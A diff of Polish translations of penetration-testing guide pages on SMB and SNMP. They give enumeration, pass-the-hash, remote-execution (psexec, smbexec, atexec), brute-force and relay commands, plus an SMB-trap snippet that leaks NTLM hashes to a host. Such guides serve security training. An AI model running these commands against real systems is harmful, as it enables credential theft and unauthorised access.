- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów batch, VBScript i PowerShell.\
> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych plików wsadowych, VBScript i **skryptów** PowerShell.\
> Powinieneś **sprawdzić** **skrypty** w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
## Odczyt rejestru
@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec może wykonywać polecenia **wykorzystując** dowolne z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję wolisz użyć za pomocą parametru `--exec-method`:
crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję wolisz użyć za pomocą parametru `--exec-method`:
```bash
apt-get install crackmapexec
@ -419,21 +423,21 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce użytkowników poświadczeń**
## **Bruteforce dane logowania użytkowników**
**To nie jest zalecane, możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Atak SMB relay
## Atak relay SMB
Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelniania jest udana**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelnienia jest udana**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
[**Więcej informacji na temat tego ataku tutaj.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści za pośrednictwem SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Dzieje się to w przypadku funkcji:
@ -452,7 +456,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
## Kradzież NTLM
Podobnie jak w przypadku SMB Trapping, umieszczanie złośliwych plików na docelowym systemie (za pośrednictwem SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku SMB relay](pentesting-smb.md#smb-relay-attack).
Podobnie jak w przypadku pułapki SMB, umieszczanie złośliwych plików na docelowym systemie (przez SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku relay SMB](pentesting-smb.md#smb-relay-attack).
[Zobacz: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -4,23 +4,23 @@
## **Port 139**
_**System Podstawowego Wejścia/Wyjścia Sieci**_\*\* (NetBIOS)\*\* to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci (LAN) interakcji z urządzeniami sieciowymi i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
_**System Podstawowego Wejścia/Wyjścia Sieci**_** (NetBIOS)** to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci (LAN) interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji programowych działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Technicznie, Port 139 jest określany jako NBT over IP, podczas gdy Port 445 jest identyfikowany jako SMB over IP. Akronim **SMB** oznacza **Server Message Blocks**, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy na poziomie aplikacji, SMB/CIFS jest głównie wykorzystywany do umożliwienia wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
Technicznie, port 139 jest określany jako NBT over IP, podczas gdy port 445 jest identyfikowany jako SMB over IP. Akronim **SMB** oznacza **Server Message Blocks**, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy na poziomie aplikacji, SMB/CIFS jest głównie wykorzystywany do umożliwienia wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność korzystania z NetBIOS przez TCP/IP, poprzez wykorzystanie portu 445. Z drugiej strony, w różnych systemach, obserwuje się użycie portu 139, co wskazuje, że SMB jest wykonywane w połączeniu z NetBIOS przez TCP/IP.
Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność korzystania z NetBIOS przez TCP/IP, poprzez wykorzystanie portu 445. Z drugiej strony, w różnych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest wykonywane w połączeniu z NetBIOS przez TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje darmowe rozwiązanie programowe, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje rozwiązanie typu open source, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być widoczne dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być widoczne dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonanie`**, **`odczyt`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
### IPC$ Share
@ -36,7 +36,7 @@ Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds.
```bash
enum4linux -a target_ip
```
Powyższe polecenie jest przykładem, jak `enum4linux` może być użyty do przeprowadzenia pełnej enumeracji przeciwko docelowemu adresowi określonemu przez `target_ip`.
Powyższe polecenie jest przykładem, jak `enum4linux` może być użyty do przeprowadzenia pełnej enumeracji przeciwko docelowemu adresowi `target_ip`.
## Czym jest NTLM
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
Aby szukać możliwych exploitów dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
- Użyć modułu pomocniczego **MSF** \_**auxiliary/scanner/smb/smb_version**
- Użyć modułu pomocniczego **MSF** `**auxiliary/scanner/smb/smb_version**`
- Lub tego skryptu:
```bash
#!/bin/sh
@ -161,7 +161,7 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
#### W oknie przeglądarki plików (nautilus, thunar, itd.)
#### W oknie przeglądarki plików (nautilus, thunar, itp.)
`smb://friendzone.htb/general/`
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Ręczne enumerowanie udziałów systemu Windows i łączenie się z nimi**
Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta i gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do których można się połączyć. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesja null lub ważne poświadczenia). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta i gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do których można się połączyć. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, używając ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Typowe nazwy udziałów dla celów Windows to
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **Enumeruj udostępnienia z Windows / bez narzędzi firm trzecich**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -298,9 +298,9 @@ Polecenia:
(_Informacje z podręcznika smbclient_)
### Wyszukiwanie folderów udostępnionych w domenie
### Wyszukiwanie udostępnionych folderów w domenie
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -313,8 +313,8 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Szczególnie interesujące z udziałów są pliki nazwane **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologowaniem** za pomocą zasad grupy. Lub pliki **`web.config`**, ponieważ zawierają dane uwierzytelniające.
> [!NOTE]
> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów batch, VBScript i PowerShell.\
> Powinieneś **sprawdzić** **skrypty** w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów wsadowych, VBScript i PowerShell.\
> Powinieneś **sprawdzić** skrypty w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
## Odczyt rejestru
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję preferujesz użyć za pomocą parametru `--exec-method`:
crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję wolisz użyć za pomocą parametru `--exec-method`:
```bash
apt-get install crackmapexec
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i wykorzystają ją do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** wskaże na **cmd.exe/powershell.exe** i w argumentach umieści ładunek --**technika bezplikowa-**-).\
Obie opcje **tworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i wykorzystują ją do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** wskaże na **cmd.exe/powershell.exe** i w argumentach umieści ładunek --**technika bezplikowa-**-).\
**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
@ -409,7 +409,7 @@ Używając **parametru** `-k`, możesz uwierzytelnić się za pomocą **kerberos
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Wykonaj polecenia za pomocą Harmonogramu zadań (używając _\pipe\atsvc_ przez SMB).\
Wykonuj polecenia za pomocą Harmonogramu zadań (używając _\pipe\atsvc_ przez SMB).\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -426,14 +426,14 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Atak SMB relay
## Atak relay SMB
Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelniania zakończy się sukcesem**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelnienia jest udana**, automatycznie przeniesie cię do **powłoki** **systemowej**.\
[**Więcej informacji na temat tego ataku tutaj.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści za pośrednictwem SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Dzieje się to w przypadku funkcji:
@ -452,7 +452,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
## Kradzież NTLM
Podobnie jak w przypadku SMB Trapping, umieszczanie złośliwych plików na docelowym systemie (za pośrednictwem SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku SMB relay](#smb-relay-attack).
Podobnie jak w przypadku pułapki SMB, umieszczanie złośliwych plików na docelowym systemie (przez SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku relay SMB](#smb-relay-attack).
[Zobacz: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -15,8 +15,8 @@ PORT STATE SERVICE REASON VERSION
### MIB
Aby zapewnić, że dostęp do SNMP działa w różnych producentów i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to plik **tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu\
Pliki MIB są napisane w formacie tekstowym ASCII w `Abstract Syntax Notation One` (`ASN.1`). **MIB-y nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, jakie wartości zwracają dla konkretnego OID, lub jaki typ danych jest używany.
Aby zapewnić, że dostęp do SNMP działa w różnych urządzeniach i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to plik **tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu.\
Pliki MIB są napisane w formacie tekstowym ASCII w `Abstract Syntax Notation One` (`ASN.1`). **MIB-y nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, jakie wartości zwracają dla konkretnego OID lub jaki typ danych jest używany.
### OIDs
@ -29,7 +29,7 @@ Ponadto, dostawcy mają swobodę tworzenia prywatnych gałęzi. W ramach tych ga
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Możesz **nawigować** przez **drzewo OID** w sieci tutaj: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) lub **zobaczyć, co oznacza OID** (jak `1.3.6.1.2.1.1`) uzyskując dostęp do [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Istnieją **znane OIDs** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) które odnoszą się do zmiennych Simple Network Management Protocol (SNMP) zdefiniowanych w MIB-2. A z **OID-ów zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
Istnieją **znane OID-y** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zmiennych protokołu prostego zarządzania siecią (SNMP) zdefiniowanych w MIB-2. A z **OID-ów zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
### **Przykład OID**
@ -39,20 +39,20 @@ Istnieją **znane OIDs** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.
Oto analiza tego adresu.
- 1 nazywa się to ISO i ustala, że to jest OID. Dlatego wszystkie OID-y zaczynają się od „1”
- 1 nazywa się to ISO i ustala, że jest to OID. Dlatego wszystkie OID-y zaczynają się od „1”
- 3 nazywa się to ORG i służy do określenia organizacji, która zbudowała urządzenie.
- 6 to dod lub Departament Obrony, który jest organizacją, która jako pierwsza ustanowiła Internet.
- 1 to wartość internetu, aby oznaczyć, że wszystkie komunikacje będą odbywać się przez Internet.
- 4 ta wartość określa, że to urządzenie jest produkowane przez prywatną organizację, a nie rządową.
- 1 ta wartość oznacza, że urządzenie jest produkowane przez przedsiębiorstwo lub podmiot gospodarczy.
- 4 ta wartość określa, że to urządzenie zostało wyprodukowane przez prywatną organizację, a nie rządową.
- 1 ta wartość oznacza, że urządzenie zostało wyprodukowane przez przedsiębiorstwo lub podmiot gospodarczy.
Te pierwsze sześć wartości zazwyczaj są takie same dla wszystkich urządzeń i dają podstawowe informacje o nich. Ta sekwencja liczb będzie taka sama dla wszystkich OID-ów, z wyjątkiem sytuacji, gdy urządzenie jest produkowane przez rząd.
Te pierwsze sześć wartości zazwyczaj są takie same dla wszystkich urządzeń i dają podstawowe informacje o nich. Ta sekwencja liczb będzie taka sama dla wszystkich OID-ów, z wyjątkiem sytuacji, gdy urządzenie zostało wyprodukowane przez rząd.
Przechodząc do następnego zestawu liczb.
- 1452 podaje nazwę organizacji, która wyprodukowała to urządzenie.
- 1 wyjaśnia typ urządzenia. W tym przypadku jest to budzik.
- 2 określa, że to urządzenie jest jednostką terminalową zdalnego dostępu.
- 2 określa, że to urządzenie jest jednostką terminalową zdalną.
Pozostałe wartości podają szczegółowe informacje o urządzeniu.
@ -76,20 +76,20 @@ Istnieją 2 ważne wersje SNMP:
Jak wspomniano wcześniej, **aby uzyskać dostęp do informacji zapisanych w MIB, musisz znać ciąg społeczności w wersjach 1 i 2/2c oraz dane uwierzytelniające w wersji 3.**\
Istnieją **2 typy ciągów społeczności**:
- **`public`** głównie **tylko do odczytu**
- **`private`** **Odczyt/Zapis** ogólnie
- **`public`** głównie **funkcje tylko do odczytu**
- **`private`** **Odczyt/Zapis** w ogólności
Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że używany jest "**public**", możesz być w stanie **zapisać niektóre wartości.** Mogą również istnieć obiekty, które są **zawsze "tylko do odczytu".**\
Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**.\*\*.\*\*
Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że używany jest "**public**", możesz być w stanie **zapisać niektóre wartości.** Istnieją również obiekty, które są **zawsze "tylko do odczytu".**\
Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**.
W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer nie **odpowie**. Więc, jeśli odpowiada, użyto **ważnego ciągu społeczności**.
W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer nie **odpowie**. Więc jeśli odpowiada, użyto **ważnego ciągu społeczności**.
## Porty
[Z Wikipedii](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
- Agent SNMP odbiera żądania na porcie UDP **161**.
- Menedżer odbiera powiadomienia ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na porcie **162**.
- Menedżer odbiera powiadomienia ([Pułapki](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na porcie **162**.
- Gdy używany jest z [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) lub [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), żądania są odbierane na porcie **10161**, a powiadomienia są wysyłane na port **10162**.
## Atak Brute-Force na Ciąg Społeczności (v1 i v2c)
@ -98,7 +98,7 @@ Aby **zgadnąć ciąg społeczności**, możesz przeprowadzić atak słownikowy.
## Enumeracja SNMP
Zaleca się zainstalowanie następujących narzędzi, aby zobaczyć, co oznacza **każdy OID zebrany** z urządzenia:
Zaleca się zainstalowanie następujących narzędzi, aby zobaczyć, co oznacza **każdy zebrany OID** z urządzenia:
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -121,11 +121,11 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
Dzięki rozszerzonym zapytaniom (download-mibs) możliwe jest uzyskanie jeszcze więcej informacji o systemie za pomocą następującego polecenia:
Dzięki rozszerzonym zapytaniom (download-mibs) możliwe jest uzyskanie jeszcze większej ilości informacji o systemie za pomocą następującego polecenia:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** zawiera wiele informacji o hoście, a rzeczy, które mogą być interesujące, to: **Interfejsy sieciowe** (adresy **IPv4** i **IPv6**), Nazwy użytkowników, Czas działania, Wersja serwera/OS oraz **procesy**
**SNMP** zawiera wiele informacji o hoście, a interesujące mogą być: **Interfejsy sieciowe** (adresy **IPv4** i **IPv6**), nazwy użytkowników, czas działania, wersja serwera/OS oraz **procesy**
**działające** (mogą zawierać hasła)....
@ -137,7 +137,7 @@ W dziedzinie zarządzania siecią, niektóre konfiguracje i parametry są kluczo
Dwa główne ustawienia umożliwiają dostęp do **pełnego drzewa OID**, które jest kluczowym elementem w zarządzaniu siecią:
1. **`rwuser noauth`** jest ustawione, aby zezwolić na pełny dostęp do drzewa OID bez potrzeby uwierzytelniania. To ustawienie jest proste i pozwala na nieograniczony dostęp.
1. **`rwuser noauth`** jest ustawione, aby zezwolić na pełny dostęp do drzewa OID bez potrzeby uwierzytelnienia. To ustawienie jest proste i pozwala na nieograniczony dostęp.
2. Dla bardziej szczegółowej kontroli, dostęp można przyznać za pomocą:
- **`rwcommunity`** dla adresów **IPv4**, oraz
- **`rwcommunity6`** dla adresów **IPv6**.
@ -146,7 +146,7 @@ Obie komendy wymagają **ciągu społeczności** oraz odpowiedniego adresu IP, o
### Parametry SNMP dla Microsoft Windows
Seria **wartości MIB (Management Information Base)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP:
Seria **wartości Management Information Base (MIB)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP:
- **Procesy systemowe**: Dostępne przez `1.3.6.1.2.1.25.1.6.0`, ten parametr pozwala na monitorowanie aktywnych procesów w systemie.
- **Działające programy**: Wartość `1.3.6.1.2.1.25.4.2.1.2` jest przeznaczona do śledzenia aktualnie działających programów.
@ -166,7 +166,7 @@ cisco-snmp.md
## Od SNMP do RCE
Jeśli masz **ciąg**, który pozwala na **zapisywanie wartości** w usłudze SNMP, możesz być w stanie go nadużyć, aby **wykonywać polecenia**:
Jeśli masz **ciąg**, który pozwala na **zapisywanie wartości** w usłudze SNMP, możesz być w stanie go nadużyć, aby **wykonać polecenia**:
{{#ref}}
snmp-rce.md
@ -174,11 +174,11 @@ snmp-rce.md
## **Masowe SNMP**
[Braa](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym użyciem takiego narzędzia jest, oczywiście, wykonywanie zapytań SNMP ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i skanuje BARDZO szybko.
[Braa](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem tego narzędzia jest oczywiście wykonywanie zapytań SNMP ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i wykonuje skanowanie BARDZO szybko.
Braa implementuje własny stos snmp, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
Braa implementuje własny stos SNMP, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
**Składnia:** braa \[Ciąg społeczności\]@\[\[IP serwera SNMP\]:\[\[iso id\]
**Składnia:** braa \[Ciąg społeczności]@\[IP serwera SNMP]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -188,13 +188,13 @@ Zatem poszukajmy najbardziej interesujących informacji (z [https://blog.rapid7.
### **Urządzenia**
Proces zaczyna się od wyodrębnienia **danych MIB sysDesc** (1.3.6.1.2.1.1.1.0) z każdego pliku w celu zidentyfikowania urządzeń. Osiąga się to za pomocą **polecenia grep**:
Proces zaczyna się od wyodrębnienia **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) z każdego pliku w celu zidentyfikowania urządzeń. Osiąga się to za pomocą **grep command**:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Zidentyfikuj Prywatny String**
